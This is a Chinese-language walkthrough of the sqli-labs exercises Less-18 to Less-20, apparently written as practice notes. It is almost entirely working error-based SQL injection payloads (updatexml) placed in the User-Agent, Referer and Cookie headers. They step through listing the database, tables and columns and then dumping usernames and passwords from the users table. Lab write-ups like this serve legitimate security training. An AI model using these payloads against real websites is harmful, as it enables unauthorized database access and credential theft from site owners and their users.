Less-18

使用Burp Suite抓包

发送到重放器

Less-18闭合

Less-18查询库名

User-Agent:1' and updatexml(1,concat(1,database()),1) and'

Less-18查询表名

User-Agent:1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and'

 Less-18查询字段

User-Agent:1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

Less-18查询数据

User-Agent:1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and'

 由于长度限制，一个一个试

User-Agent:1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'

Less-19

 使用Burp Suite抓包

Less-19闭合

　Referer: http://192.168.112.67/sqli/Less-19/'

Less-19查询库名

Referer: http://192.168.112.67/sqli/Less-19/'and updatexml(1,concat(1,database()),1) and'

Less-19查询表名

Referer: 1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and'

Less-19查询字段

Referer: 1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '

Less-19查询数据

Referer: 1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and '

由于长度限制，一个一个试

Referer: 1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and '

Less-20

使用admin登录返回cookie信息

使用Burp Suite抓包

Less-20闭合

　Cookie: uname=admin' 

Less-20查询库名

Cookie: uname=admin' and updatexml(1,concat(1,database()),1) and '

Less-20查询表名

　Cookie: uname=admin' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '

Less-20查询字段

　Cookie: uname=admin' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '

Less-20查询数据

Cookie: uname=admin' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and '

由于长度限制，一个一个试

Cookie: uname=admin' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and '